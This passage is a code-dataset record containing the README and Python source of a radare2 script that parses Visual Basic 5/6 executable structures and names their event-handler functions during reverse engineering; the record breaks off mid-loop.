like","value":[{"alpha_fraction":0.7291666865348816,"alphanum_fraction":0.7583333253860474,"avg_line_length":25.66666603088379,"blob_id":"3374fde8fe30ee9daab47d1cb2af43071f0de628","content_id":"84ae584770e4f25c068f1b3e389f6268f8d9ca99","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":240,"license_type":"no_license","max_line_length":80,"num_lines":9,"path":"/README.md","repo_name":"Trietptm-on-Coding-Algorithms/r2_scripts","src_encoding":"UTF-8","text":"# Radare2 scripts\n\nVarious radare2 scripts I use (or create). Only works with Python2 since python3\nr2pipe bindings seem broken now.\n\n## vb_analysis.py\n\nUsage: invoke it with `#!pipe python2 vb_analysis.py` inside a r2 (or cutter)\nsession.\n"},{"alpha_fraction":0.5395718812942505,"alphanum_fraction":0.6040928363800049,"avg_line_length":39.38660430908203,"blob_id":"e1050ca6b3efd39fe90de380066aa029914ff858","content_id":"b600b48af53d4c9e2414b0e63d6873fb95d13f54","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":26534,"license_type":"no_license","max_line_length":122,"num_lines":657,"path":"/vb_analysis.py","repo_name":"Trietptm-on-Coding-Algorithms/r2_scripts","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n# Port of \"VB Exe Parser\" script to radare2 by aaSSfxxx\n# Original credits to Vic P. aka vic4key (vic4key[at]gmail.com)\n# Original script: https://github.com/Kinimiwar/VB-Exe-Parser/\n\nimport r2pipe\nimport ctypes\nimport sys\n\nclass CVBHeader(ctypes.Structure):\n _fields_ = [\n (\"szVbMagic\", ctypes.c_ubyte*4), # 0x0. \"VB5!\"\" String\n (\"wRuntimeBuild\", ctypes.c_ushort), # 0x4. Build of the VB6 Runtime\n (\"szLangDll\", ctypes.c_ubyte*14), # 0x6. Language Extension DLL\n (\"szSecLangDll\", ctypes.c_ubyte*14), # 0x14. 2nd Language Extension DLL\n (\"wRuntimeRevision\", ctypes.c_ushort), # 0x22. Internal Runtime Revision\n (\"dwLCID\", ctypes.c_uint), # 0x24. LCID of Language DLL\n (\"dwSecLCID\", ctypes.c_uint), # 0x28. LCID of 2nd Language DLL\n (\"lpSubMain\", ctypes.c_uint), # 0x2C. Pointer to Sub Main Code\n (\"lpProjectData\", ctypes.c_uint), # 0x30. Pointer to Project Data\n (\"fMdlIntCtls\", ctypes.c_uint), # 0x34. VB Control Flags for IDs < 32\n (\"fMdlIntCtls2\", ctypes.c_uint), # 0x38. VB Control Flags for IDs > 32\n (\"dwThreadFlags\", ctypes.c_uint), # 0x3C. Threading Mode\n (\"dwThreadCount\", ctypes.c_uint), # 0x40. Threads to support in pool\n (\"wFormCount\", ctypes.c_ushort), # 0x44. Number of forms present\n (\"wExternalCount\", ctypes.c_ushort), # 0x46. Number of external controls\n (\"dwThunkCount\", ctypes.c_uint), # 0x48. Number of thunks to create\n (\"lpGuiTable\", ctypes.c_uint), # 0x4C. Pointer to GUI Table\n (\"lpExternalTable\", ctypes.c_uint), # 0x50. Pointer to External Table\n (\"lpComRegisterData\", ctypes.c_uint), # 0x54. Pointer to COM Information\n (\"bSZProjectDescription\", ctypes.c_uint), # 0x58. Offset to Project Description\n (\"bSZProjectExeName\", ctypes.c_uint), # 0x5C. Offset to Project EXE Name\n (\"bSZProjectHelpFile\", ctypes.c_uint), # 0x60. Offset to Project Help File\n (\"bSZProjectName\", ctypes.c_uint) # 0x64. Offset to Project Name\n ]\n\nclass CVBProjectInfo(ctypes.Structure):\n _fields_ = [\n (\"dwVersion\", ctypes.c_uint), # 0x0. 5.00 in Hex (0x1F4). Version.\n (\"lpObjectTable\", ctypes.c_uint), # 0x4. Pointer to the Object Table\n (\"dwNull\", ctypes.c_uint), # 0x8. Unused value after compilation.\n (\"lpCodeStart\", ctypes.c_uint), # 0xC. Points to start of code. Unused.\n (\"lpCodeEnd\", ctypes.c_uint), # 0x10. Points to end of code. Unused.\n (\"dwDataSize\", ctypes.c_uint), # 0x14. Size of VB Object Structures. Unused.\n (\"lpThreadSpace\", ctypes.c_uint), # 0x18. Pointer to Thread Object.\n (\"lpVbaSeh\", ctypes.c_uint), # 0x1C. Pointer to VBA Exception Handler\n (\"lpNativeCode\", ctypes.c_uint), # 0x20. Pointer to .DATA section.\n (\"szPathInformation\", ctypes.c_ubyte*528), # 0x24. Contains Path and ID string. < SP6\n (\"lpExternalTable\", ctypes.c_uint), # 0x234. Pointer to External Table.\n (\"dwExternalCount\", ctypes.c_uint) # 0x238. Objects in the External Table.\n ]\n\nclass CVBProjectInfo2(ctypes.Structure):\n _fields_ = [\n (\"lpHeapLink\", ctypes.c_uint), # 0x0. Unused after compilation, always 0.\n (\"lpObjectTable\", ctypes.c_uint), # 0x4. Back-Pointer to the Object Table.\n (\"dwReserved\", ctypes.c_uint), # 0x8. Always set to -1 after compiling. Unused\n (\"dwUnused\", ctypes.c_uint), # 0xC. Not written or read in any case.\n (\"lpObjectList\", ctypes.c_uint), # 0x10. Pointer to Object Descriptor Pointers.\n (\"dwUnused2\", ctypes.c_uint), # 0x14. Not written or read in any case.\n (\"szProjectDescription\", ctypes.c_uint), # 0x18. Pointer to Project Description\n (\"szProjectHelpFile\", ctypes.c_uint), # 0x1C. Pointer to Project Help File\n (\"dwReserved2\", ctypes.c_uint), # 0x20. Always set to -1 after compiling. Unused\n (\"dwHelpContextId\", ctypes.c_uint) # 0x24. Help Context ID set in Project Settings.\n ]\n\nclass CVBObjectTable(ctypes.Structure):\n _fields_ = [\n (\"lpHeapLink\", ctypes.c_uint), # 0x0. Unused after compilation, always 0.\n (\"lpExecProj\", ctypes.c_uint), # 0x4. Pointer to VB Project Exec COM Object.\n (\"lpProjectInfo2\", ctypes.c_uint), # 0x8. Secondary Project Information.\n (\"dwReserved\", ctypes.c_uint), # 0xC. Always set to -1 after compiling. Unused.\n (\"dwNull\", ctypes.c_uint), # 0x10. Not used in compiled mode.\n (\"lpProjectObject\", ctypes.c_uint), # 0x14. Pointer to in-memory Project Data.\n (\"uuidObject\", ctypes.c_ubyte*16), # 0x18. GUID of the Object Table.\n (\"fCompileState\", ctypes.c_ushort), # 0x28. Internal flag used during compilation.\n (\"dwTotalObjects\", ctypes.c_ushort), # 0x2A. Total objects present in Project.\n (\"dwCompiledObjects\", ctypes.c_ushort), # 0x2C. Equal to above after compiling.\n (\"dwObjectsInUse\", ctypes.c_ushort), # 0x2E. Usually equal to above after compile.\n (\"lpObjectArray\", ctypes.c_uint), # 0x30. Pointer to Object Descriptors\n (\"fIdeFlag\", ctypes.c_uint), # 0x34. Flag/Pointer used in IDE only.\n (\"lpIdeData\", ctypes.c_uint), # 0x38. Flag/Pointer used in IDE only.\n (\"lpIdeData2\", ctypes.c_uint), # 0x3C. Flag/Pointer used in IDE only.\n (\"lpszProjectName\", ctypes.c_uint), # 0x40. Pointer to Project Name.\n (\"dwLcid\", ctypes.c_uint), # 0x44. LCID of Project.\n (\"dwLcid2\", ctypes.c_uint), # 0x48. Alternate LCID of Project.\n (\"lpIdeData3\", ctypes.c_uint), # 0x4C. Flag/Pointer used in IDE only.\n (\"dwIdentifier\", ctypes.c_uint) # 0x50. Template Version of Structure.\n ]\n\nclass CVBPublicObjectDescriptors(ctypes.Structure):\n _fields_ = [\n (\"lpObjectInfo\", ctypes.c_uint), # 0x0. Pointer to the Object Info for this Object.\n (\"dwReserved\", ctypes.c_uint), # 0x4. Always set to -1 after compiling.\n (\"lpPublicBytes\", ctypes.c_uint), # 0x8. Pointer to Public Variable Size integers.\n (\"lpStaticBytes\", ctypes.c_uint), # 0xC. Pointer to Static Variable Size integers.\n (\"lpModulePublic\", ctypes.c_uint), # 0x10. Pointer to Public Variables in DATA section\n (\"lpModuleStatic\", ctypes.c_uint), # 0x14. Pointer to Static Variables in DATA section\n (\"lpszObjectName\", ctypes.c_uint), # 0x18. Name of the Object.\n (\"dwMethodCount\", ctypes.c_uint), # 0x1C. Number of Methods in Object.\n (\"lpMethodNames\", ctypes.c_uint), # 0x20. If present, pointer to Method names array.\n (\"bStaticVars\", ctypes.c_uint), # 0x24. Offset to where to copy Static Variables.\n (\"fObjectType\", ctypes.c_uint), # 0x28. Flags defining the Object Type.\n (\"dwNull\", ctypes.c_uint) # 0x2C. Not valid after compilation\n ]\n\nclass CVBPrivateObjectDescriptors(ctypes.Structure):\n _fields_ = [\n (\"lpHeapLink\", ctypes.c_uint), # 0x0. Unused after compilation, always 0.\n (\"lpObjectInfo\", ctypes.c_uint), # 0x4. Pointer to the Object Info for this Object.\n (\"dwReserved\", ctypes.c_uint), # 0x8. Always set to -1 after compiling.\n (\"dwIdeData\", ctypes.c_uint*3), # 0xC. Not valid after compilation.\n (\"lpObjectList\", ctypes.c_uint), # 0x18. Points to the Parent Structure (Array)\n (\"dwIdeData2\", ctypes.c_uint), # 0x1C. Not valid after compilation.\n (\"lpObjectList2\", ctypes.c_uint*3), # 0x20. Points to the Parent Structure (Array).\n (\"dwIdeData3\", ctypes.c_uint*3), # 0x2C. Not valid after compilation.\n (\"dwObjectType\", ctypes.c_uint), # 0x38. Type of the Object described.\n (\"dwIdentifier\", ctypes.c_uint) # 0x3C. Template Version of Structure.\n ]\n\nclass CVBObjectInfo(ctypes.Structure):\n _fields_ = [\n (\"wRefCount\", ctypes.c_ushort), # 0x0. Always 1 after compilation.\n (\"wObjectIndex\", ctypes.c_ushort), # 0x2. Index of this Object.\n (\"lpObjectTable\", ctypes.c_uint), # 0x4. Pointer to the Object Table\n (\"lpIdeData\", ctypes.c_uint), # 0x8. Zero after compilation. Used in IDE only.\n (\"lpPrivateObject\", ctypes.c_uint), # 0xC. Pointer to Private Object Descriptor.\n (\"dwReserved\", ctypes.c_uint), # 0x10. Always -1 after compilation.\n (\"dwNull\", ctypes.c_uint), # 0x14. Unused.\n (\"lpObject\", ctypes.c_uint), # 0x18. Back-Pointer to Public Object Descriptor.\n (\"lpProjectData\", ctypes.c_uint), # 0x1C. Pointer to in-memory Project Object.\n (\"wMethodCount\", ctypes.c_ushort), # 0x20. Number of Methods\n (\"wMethodCount2\", ctypes.c_ushort), # 0x22. Zeroed out after compilation. IDE only.\n (\"lpMethods\", ctypes.c_uint), # 0x24. Pointer to Array of Methods.\n (\"wConstants\", ctypes.c_ushort), # 0x28. Number of Constants in Constant Pool.\n (\"wMaxConstants\", ctypes.c_ushort), # 0x2A. Constants to allocate in Constant Pool.\n (\"lpIdeData2\", ctypes.c_uint), # 0x2C. Valid in IDE only.\n (\"lpIdeData3\", ctypes.c_uint), # 0x30. Valid in IDE only.\n (\"lpConstants\", ctypes.c_uint) # 0x34. Pointer to Constants Pool.\n ]\n\nclass CVBOptionalObjectInfo(ctypes.Structure):\n _fields_ = [\n (\"dwObjectGuids\", ctypes.c_uint), # 0x0. How many GUIDs to Register. 2 = Designer\n (\"lpObjectGuid\", ctypes.c_uint), # 0x4. Unique GUID of the Object *VERIFY*\n (\"dwNull\", ctypes.c_uint), # 0x8. Unused.\n (\"lpuuidObjectTypes\", ctypes.c_uint), # 0xC. Pointer to Array of Object Interface GUIDs\n (\"dwObjectTypeGuids\", ctypes.c_uint), # 0x10. How many GUIDs in the Array above.\n (\"lpControls2\", ctypes.c_uint), # 0x14. Usually the same as lpControls.\n (\"dwNull2\", ctypes.c_uint), # 0x18. Unused.\n (\"lpObjectGuid2\", ctypes.c_uint), # 0x1C. Pointer to Array of Object GUIDs.\n (\"dwControlCount\", ctypes.c_uint), # 0x20. Number of Controls in array below.\n (\"lpControls\", ctypes.c_uint), # 0x24. Pointer to Controls Array.\n (\"wEventCount\", ctypes.c_ushort), # 0x28. Number of Events in Event Array.\n (\"wPCodeCount\", ctypes.c_ushort), # 0x2A. Number of P-Codes used by this Object.\n (\"bWInitializeEvent\", ctypes.c_ushort), # 0x2C. Offset to Initialize Event from Event Table.\n (\"bWTerminateEvent\", ctypes.c_ushort), # 0x2E. Offset to Terminate Event Table.\n (\"lpEvents\", ctypes.c_uint), # 0x30. Pointer to Events Array.\n (\"lpBasicClassObject\", ctypes.c_uint), # 0x34. Pointer to in-memory Class Objects.\n (\"dwNull3\", ctypes.c_uint), # 0x38. Unused.\n (\"lpIdeData\", ctypes.c_uint) # 0x3C. Only valid in IDE.\n ]\n\nclass CVBControlInfo(ctypes.Structure):\n _fields_ = [\n (\"wUnused\", ctypes.c_ushort), # 0x0. Type of control. # Mine\n (\"fControlType\", ctypes.c_ushort), # 0x0. Type of control. # Mine\n\n (\"wEventcount\", ctypes.c_ushort), # 0x4. Number of Event Handlers supported.\n (\"bWEventsOffset\", ctypes.c_ushort), # 0x6. Offset in to Memory struct to copy Events.\n (\"lpGuid\", ctypes.c_uint), # 0x8. Pointer to GUID of this Control.\n (\"dwIndex\", ctypes.c_uint), # 0xC. Index ID of this Control.\n (\"dwNull\", ctypes.c_uint), # 0x10. Unused.\n (\"dwNull2\", ctypes.c_uint), # 0x14. Unused.\n (\"lpEventTable\", ctypes.c_uint), # 0x18. Pointer to Event Handler Table.\n (\"lpIdeData\", ctypes.c_uint), # 0x1C. Valid in IDE only.\n (\"lpszName\", ctypes.c_uint), # 0x20. Name of this Control.\n (\"dwIndexCopy\", ctypes.c_uint) # 0x24. Secondary Index ID of this Control\n ]\n\nclass CVBEventHandlerTable(ctypes.Structure):\n _fields_ = [\n (\"dwNull\", ctypes.c_uint), # 0x0.\n (\"dwUnknown0\", ctypes.c_uint), # 0x4.\n (\"dwUnknown1\", ctypes.c_uint), # 0x8.\n (\"lpEVENT_SINK_QueryInterface\", ctypes.c_uint), # 0xC.\n (\"lpEVENT_SINK_Release\", ctypes.c_uint), # 0x10.\n (\"lpRelease\", ctypes.c_uint), # 0x14.\n (\"lpEntryPoint\", ctypes.c_uint) # 0x18.\n ]\n\nclass CVBGUID(ctypes.Structure):\n _fields_ = [\n (\"Data1\", ctypes.c_uint), # Specifies the first 8 hexadecimal digits of the GUID.\n (\"Data2\", ctypes.c_ushort), # Specifies the first group of 4 hexadecimal digits.\n (\"Data3\", ctypes.c_ushort), # Specifies the second group of 4 hexadecimal digits.\n (\"Data4\", ctypes.c_ubyte*8) # Array of 8 bytes. The first 2 bytes contain the third group of 4 hexadecimal digits.\n # The remaining 6 bytes contain the final 12 hexadecimal digits.\n ]\n\n\nMDLInternalControlFlags = [\n (0x00, 0x00000001, \"PictureBox Object\"),\n (0x01, 0x00000002, \"Label Object\"),\n (0x02, 0x00000004, \"TextBox Object\"),\n (0x03, 0x00000008, \"Frame Object\"),\n (0x04, 0x00000010, \"CommandButton Object\"),\n (0x05, 0x00000020, \"CheckBox Object\"),\n (0x06, 0x00000040, \"OptionButton Object\"),\n (0x07, 0x00000080, \"ComboBox Object\"),\n (0x08, 0x00000100, \"ListBox Object\"),\n (0x09, 0x00000200, \"HScrollBar Object\"),\n (0x0A, 0x00000400, \"VScrollBar Object\"),\n (0x0B, 0x00000800, \"Timer Object\"),\n (0x0C, 0x00001000, \"Print Object\"),\n (0x0D, 0x00002000, \"Form Object\"),\n (0x0E, 0x00004000, \"Screen Object\"),\n (0x0F, 0x00008000, \"Clipboard Object\"),\n (0x10, 0x00010000, \"Drive Object\"),\n (0x11, 0x00020000, \"Dir Object\"),\n (0x12, 0x00040000, \"FileListBox Object\"),\n (0x13, 0x00080000, \"Menu Object\"),\n (0x14, 0x00100000, \"MDIForm Object\"),\n (0x15, 0x00200000, \"App Object\"),\n (0x16, 0x00400000, \"Shape Object\"),\n (0x17, 0x00800000, \"Line Object\"),\n (0x18, 0x01000000, \"Image Object\"),\n (0x19, 0x02000000, \"Unsupported\"),\n (0x1A, 0x04000000, \"Unsupported\"),\n (0x1B, 0x08000000, \"Unsupported\"),\n (0x1C, 0x10000000, \"Unsupported\"),\n (0x1D, 0x20000000, \"Unsupported\"),\n (0x1E, 0x40000000, \"Unsupported\"),\n (0x1F, 0x80000000, \"Unsupported\")\n]\n\nCtrlFlags = [\n (0x00, 0x0000001A, \"PictureBox\"),\n (0x01, 0x00000012, \"Label\"),\n (0x02, 0x00000018, \"TextBox\"),\n (0x03, 0x0000000D, \"Frame\"),\n (0x04, 0x00000011, \"CommandButton\"),\n (0x05, 0x00000000, \"CheckBox\"),\n (0x06, 0x00000013, \"OptionButton\"),\n (0x07, 0x00000000, \"ComboBox\"),\n (0x08, 0x00000015, \"ListBox\"),\n (0x09, 0x00000000, \"HScrollBar\"),\n (0x0A, 0x00000000, \"VScrollBar\"),\n (0x0B, 0x00000001, \"Timer\"),\n (0x0C, 0x00000000, \"Print\"),\n (0x0D, 0x00000000, \"Form\"),\n (0x0E, 0x00000000, \"Screen\"),\n (0x0F, 0x00000000, \"Clipboard\"),\n (0x10, 0x00000000, \"Drive\"),\n (0x11, 0x00000014, \"Dir\"),\n (0x12, 0x00000000, \"FileListBox\"),\n (0x13, 0x00000000, \"Menu\"),\n (0x14, 0x00000000, \"MDIForm\"),\n (0x15, 0x00000000, \"App\"),\n (0x16, 0x00000000, \"Shape\"),\n (0x17, 0x00000000, \"Line\"),\n (0x18, 0x0000000D, \"Image\"),\n (0x19, 0x0000001D, \"Grid\"),\n (0x1A, 0x00000016, \"StatusBar\"),\n (0x1B, 0x0000000A, \"Communication\"),\n (0x1C, 0x00000000, \"Unsupported\"),\n (0x1D, 0x00000000, \"Unsupported\"),\n (0x1E, 0x00000000, \"Unsupported\"),\n (0x1F, 0x00000000, \"Unsupported\")\n]\n\n'''\n[ # 2nd Flag Zone 2nd Flag Zone 2nd Flag Zone\n (0x20, 0x00000001, \"Unsupported\"),\n (0x21, 0x00000002, \"Unsupported\"),\n (0x22, 0x00000004, \"Unsupported\"),\n (0x23, 0x00000008, \"Unsupported\"),\n (0x24, 0x00000010, \"Unsupported\"),\n (0x25, 0x00000020, \"DataQuery Object\"),\n (0x26, 0x00000040, \"OLE Object\"),\n (0x27, 0x00000080, \"Unsupported\"),\n (0x28, 0x00000100, \"UserControl Object\"),\n (0x29, 0x00000200, \"PropertyPage Object\"),\n (0x2A, 0x00000400, \"Document Object\"),\n (0x2B, 0x00000800, \"Unsupported\")\n]\n'''\n\nCtrlButtonEvents = {\n 0x0: \"Click\",\n 0x1: \"DragDrop\",\n 0x2: \"DragOver\",\n 0x3: \"GotFocus\",\n 0x4: \"KeyDown\",\n 0x5: \"KeyPress\",\n 0x6: \"KeyUp\",\n 0x7: \"LostFocus\",\n 0x8: \"MouseDown\",\n 0x9: \"MouseMove\",\n 0xA: \"MouseUp\",\n 0xB: \"OLEDragOver\",\n 0xC: \"OLEDragDrop\",\n 0xD: \"OLEGiveFeedback\",\n 0xE: \"OLEStartDrag\",\n 0xF: \"OLESetData\",\n 0x10: \"OLECompleteDrag\"\n}\n\nCtrlTextboxEvents = {\n 0x0: \"Change\",\n 0x1: \"DragDrop\",\n 0x2: \"DragOver\",\n 0x3: \"GotFocus\",\n 0x4: \"KeyDown\",\n 0x5: \"KeyPress\",\n 0x6: \"KeyUp\",\n 0x7: \"LinkClose\",\n 0x8: \"LinkError\",\n 0x9: \"LinkOpen\",\n 0xA: \"LostFocus\",\n 0xB: \"LinkNotify\",\n 0xC: \"MouseDown\",\n 0xD: \"MouseMove\",\n 0xE: \"MouseUp\",\n 0xF: \"Click\",\n 0x10: \"DblClick\",\n 0x11: \"OLEDragOver\",\n 0x12: \"OLEDragDrop\",\n 0x13: \"OLEGiveFeedback\",\n 0x14: \"OLEStartDrag\",\n 0x15: \"OLESetData\",\n 0x16: \"OLECompleteDrag\",\n 0x17: \"Validate\"\n}\n\nCtrlFormEvents = {\n 0x0: \"DragDrop\",\n 0x1: \"DragOver\",\n 0x2: \"LinkClose\",\n 0x3: \"LinkError\",\n 0x4: \"LinkExecute\",\n 0x5: \"LinkOpen\",\n 0x6: \"Load\",\n 0x7: \"Resize\",\n 0x8: \"Unload\",\n 0x9: \"QueryUnload\",\n 0xA: \"Activate\",\n 0xB: \"Deactivate\",\n 0xC: \"Click\",\n 0xD: \"DblClick\",\n 0xE: \"GotFocus\",\n 0xF: \"KeyDown\",\n 0x10: \"KeyPress\",\n 0x11: \"KeyUp\",\n 0x12: \"LostFocus\",\n 0x13: \"MouseDown\",\n 0x14: \"MouseMove\",\n 0x15: \"MouseUp\",\n 0x16: \"Paint\",\n 0x17: \"Initialize\",\n 0x18: \"Terminate\",\n 0x19: \"OLEDragOver\",\n 0x1A: \"OLEDragDrop\",\n 0x1B: \"OLEGiveFeedback\",\n 0x1C: \"OLEStartDrag\",\n 0x1D: \"OLESetData\",\n 0x1E: \"OLECompleteDrag\"\n}\n\nCtrlFileEvents = {\n 0x0: \"Click\",\n 0x1: \"DblClick\",\n 0x2: \"DragDrop\",\n 0x3: \"DragOver\",\n 0x4: \"GotFocus\",\n 0x5: \"KeyDown\",\n 0x6: \"KeyPress\",\n 0x7: \"KeyUp\",\n 0x8: \"LostFocus\",\n 0x9: \"MouseDown\",\n 0xA: \"MouseMove\",\n 0xB: \"MouseUp\",\n 0xC: \"PathChange\",\n 0xD: \"PatternChange\",\n 0xE: \"OLEDragOver\",\n 0xF: \"OLEDragDrop\",\n 0x10: \"OLEGiveFeedback\",\n 0x11: \"OLEStartDrag\",\n 0x12: \"OLESetData\",\n 0x13: \"OLECompleteDrag\",\n 0x14: \"Scroll\",\n 0x15: \"Validate\"\n}\n\nCtrlOptionEvents = {\n 0x0: \"Click\",\n 0x1: \"DblClick\",\n 0x2: \"DragDrop\",\n 0x3: \"DragOver\",\n 0x4: \"GotFocus\",\n 0x5: \"KeyDown\",\n 0x6: \"KeyPress\",\n 0x7: \"KeyUp\",\n 0x8: \"LostFocus\",\n 0x9: \"MouseDown\",\n 0xA: \"MouseMove\",\n 0xB: \"MouseUp\",\n 0xC: \"OLEDragOver\",\n 0xD: \"OLEDragDrop\",\n 0xE: \"OLEGiveFeedback\",\n 0xF: \"OLEStartDrag\",\n 0x10: \"OLESetData\",\n 0x11: \"OLECompleteDrag\",\n 0x12: \"Validate\"\n}\n\nCtrlComboEvents = {\n 0x0: \"Change\",\n 0x1: \"Click\",\n 0x2: \"DblClick\",\n 0x3: \"DragDrop\",\n 0x4: \"DragOver\",\n 0x5: \"DropDown\",\n 0x6: \"GotFocus\",\n 0x7: \"KeyDown\",\n 0x8: \"KeyPress\",\n 0x9: \"KeyUp\",\n 0xA: \"LostFocus\",\n 0xB: \"OLEDragOver\",\n 0xC: \"OLEDragDrop\",\n 0xD: \"OLEGiveFeedback\",\n 0xE: \"OLEStartDrag\",\n 0xF: \"OLESetData\",\n 0x10: \"OLECompleteDrag\",\n 0x11: \"Scroll\",\n 0x12: \"Validate\"\n}\n\nCtrlLabelEvents = {\n 0x0: \"Change\",\n 0x1: \"Click\",\n 0x2: \"DblClick\",\n 0x3: \"DragDrop\",\n 0x4: \"DragOver\",\n 0x5: \"LinkClose\",\n 0x6: \"LinkError\",\n 0x7: \"LinkOpen\",\n 0x8: \"MouseDown\",\n 0x9: \"MouseMove\",\n 0xA: \"MouseUp\",\n 0xB: \"LinkNotify\",\n 0xC: \"OLEDragOver\",\n 0xD: \"OLEDragDrop\",\n 0xE: \"OLEGiveFeedback\",\n 0xF: \"OLEStartDrag\",\n 0x10: \"OLESetData\",\n 0x11: \"OLECompleteDrag\"\n}\n\nCtrlMenuEvents = {\n 0x0: \"Click\"\n}\n\nCtrlTimerEvents = {\n 0x0: \"Timer\"\n}\n\nCT_BUTTON = 0x33AD4EF2\nCT_TEXTBOX = 0x33AD4EE2\nCT_TIMER = 0x33AD4F2A\nCT_FORM = 0x33AD4F3A\nCT_FILE = 0x33AD4F62\nCT_OPTION = 0x33AD4F02\nCT_COMBOBOX = 0x33AD4F03\nCT_COMBOBOX2 = 0x33AD4F0A\nCT_MENU = 0x33AD4F6A\nCT_LABEL = 0x33AD4EDA\n\nCtrlEvents = {\n CT_BUTTON: CtrlButtonEvents,\n CT_TEXTBOX: CtrlTextboxEvents,\n CT_TIMER: CtrlTimerEvents,\n CT_FORM: CtrlFormEvents,\n CT_FILE: CtrlFileEvents,\n CT_OPTION: CtrlOptionEvents,\n CT_COMBOBOX: CtrlComboEvents,\n CT_COMBOBOX2: CtrlComboEvents,\n CT_MENU: CtrlMenuEvents,\n CT_LABEL: CtrlLabelEvents\n}\n\n\nB2S = lambda M: \"\".join(map(chr, M))\n\n\nHF_LENGTH = 100 # Header & Footer : Fixed Length\n\n\ndef IsAddressValid(addr):\n obj = r2.cmdj(\"iSj\")\n result = False\n for sec in obj:\n test = (addr >= sec[\"vaddr\"])\n test = test and (addr <= sec[\"vaddr\"] + sec[\"vsize\"])\n result = result or test\n return result\n\n\ndef Dword(addr):\n bts = r2.cmdj(\"pxj 4 @0x%x\" % addr)\n if sys.version_info[0] == 2:\n bts = \"\".join([chr(i) for i in bts])\n else:\n bts = bytes(bts)\n return ctypes.c_uint.from_buffer_copy(bts).value\n\n\ndef ParseStructure(a, t):\n global r2\n p = r2.cmdj(\"pxj %d @ 0x%x\" % (ctypes.sizeof(t), a))\n if p is None:\n return None\n if sys.version_info[0] == 2:\n p = b\"\".join([chr(i) for i in p])\n else:\n p = bytes(p)\n return t.from_buffer_copy(p)\n\n\ndef GetControlDescriptionByTypeID(TypeID):\n result = \"\"\n for e in CtrlFlags:\n index, typeid, description = e[0:len(e)]\n if typeid == TypeID:\n if len(result) != 0:\n result += (\" or \" + description)\n else:\n result = description\n return result\n\n\ndef CreateFunction(address, name):\n result = True\n r2.cmd(\"af @0x%x\" % address)\n r2.cmd(\"afn %s 0x%x\" % (name, address))\n return result\n\n\ndef CreateFlag(address, name):\n r2.cmd(\"f %s @0x%x\" % (name, address))\n\n\ndef GetEventByID(ctrl_type, event_id):\n ctrl_events, result = None, \"Unknown\"\n for ctrlType in CtrlEvents.keys():\n if ctrlType == ctrl_type:\n ctrl_events = CtrlEvents[ctrlType]\n break\n if ctrl_events is None:\n return result\n for eventID in ctrl_events.keys():\n if eventID == event_id:\n result = ctrl_events[eventID]\n break\n return result\n\n\ndef GetString(addr):\n return r2.cmd(\"psz @0x%x\" % addr).strip()\n\n\ndef ParseControlInfo(object_name, obj_addr):\n VBControlInfo = ParseStructure(obj_addr, CVBControlInfo)\n control_name = GetString(VBControlInfo.lpszName)\n VBGUID = ParseStructure(VBControlInfo.lpGuid, CVBGUID)\n control_type = VBGUID.Data1\n VBEventHandlerTable = ParseStructure(VBControlInfo.lpEventTable, CVBEventHandlerTable)\n entry_point = VBControlInfo.lpEventTable + sizeof(CVBEventHandlerTable) - 4\n for control_id in range(0, VBControlInfo.fControlType):\n p = entry_point + 4*control_id\n if IsAddressValid(p):\n addr_event = Dword(p)\n if IsAddressValid(addr_event):\n print(\"Trampoline at %x\" % addr_event)\n print(\"Event: %s\" %\n (control_name + \"_\" +\n GetEventByID(control_type, control_id)))\n # Parse trampoline and flag the correct function\n obj = r2.cmdj(\"pdj 2 @0x%x\" % addr_event)\n jump = obj[1]\n if obj[0][\"type\"] == \"sub\" and jump[\"type\"] == \"jmp\":\n real_func = jump[\"jump\"]\n control_type = GetEventByID(control_type, control_id)\n if control_type == \"Unknown\" :\n control_type = \"%x\" % real_func\n event_name = \"fn.%s_%s_%s\" % (object_name, control_name,\n control_type)\n CreateFunction(real_func, event_name)\n\n\ndef ParsePrivateObjectInfo(object_name, obj_addr):\n VBOptionalObjectInfo = ParseStructure(obj_addr, CVBOptionalObjectInfo)\n for j in range(0, VBOptionalObjectInfo.dwControlCount):\n ### CONTROL INFO ###\n addr_vb_control_info = VBOptionalObjectInfo.lpControls + j*sizeof(CVBControlInfo)\n if IsAddressValid(addr_vb_control_info ):\n ParseControlInfo(object_name, addr_vb_control_info)\n\n for j in range(0, VBOptionalObjectInfo.wEventCount):\n addr_vb_event = VBOptionalObjectInfo.lpEvents + j*4\n if not IsAddressValid(addr_vb_event): return STATUS()\n event_eat = Dword(addr_vb_event) # eat: event address table\n if not IsAddressValid(event_eat): return STATUS()\n\n # This method belongs VB Table or User Defined? 0xFFFF -> User Defined.\n addr_magic = event_eat - 4\n if not IsAddressValid(addr_magic): return STATUS()\n magic = Dword(addr_magic)\n is_user_defined = (magic == 0xFFFF)\n\n obj = r2.cmdj(\"pdj 1 @0x%x\" % event_eat)\n jump = obj[0]\n if jump[\"type\"] == \"jmp\":\n event = jump[\"jump\"]\n if is_user_defined == True:\n event_name = \"fn.Unknown_%08X\" % event\n CreateFunction(event, event_name)\n\ndef ParseObjectDescriptor(obj_addr):\n VBPublicObjectDescriptor = ParseStructure(obj_addr,\n CVBPublicObjectDescriptors)\n object_name = GetString(VBPublicObjectDescriptor.lpszObjectName)\n CreateFlag(obj_addr, \"VB.\" + object_name + \"_Descriptor\")\n\n # Parse ObjectInfo\n VBObjectInfo = ParseStructure(VBPublicObjectDescriptor.lpObjectInfo, CVBObjectInfo)\n object_name = GetString(VBPublicObjectDescriptor.lpszObjectName)\n CreateFlag(VBPublicObjectDescriptor.lpObjectInfo, object_name + \".ObjectInfo\")\n\n addr_vb_optional_object_info = VBPublicObjectDescriptor.lpObjectInfo + sizeof(CVBObjectInfo)\n if VBObjectInfo.lpConstants != addr_vb_optional_object_info:\n ParsePrivateObjectInfo(object_name, addr_vb_optional_object_info)\n\n\nsizeof = ctypes.sizeof\nr2 = r2pipe.open()\ninstr = r2.cmdj(\"pdj 2 @entry0\")\naddr_vb_header = instr[0][\"ptr\"]\nVBHeader = ParseStructure(addr_vb_header, CVBHeader)\nVBProjectInfo = ParseStructure(VBHeader.lpProjectData, CVBProjectInfo)\nVBObjectTable = ParseStructure(VBProjectInfo.lpObjectTable, CVBObjectTable)\n\n# PUBLIC OBJECT DESCRIPTORS #\nfor i in range(0, VBObjectTable.dwTotalObjects):\n addr_vb_public_object_descriptors = (VBObjectTable.lpObjectArray +\n 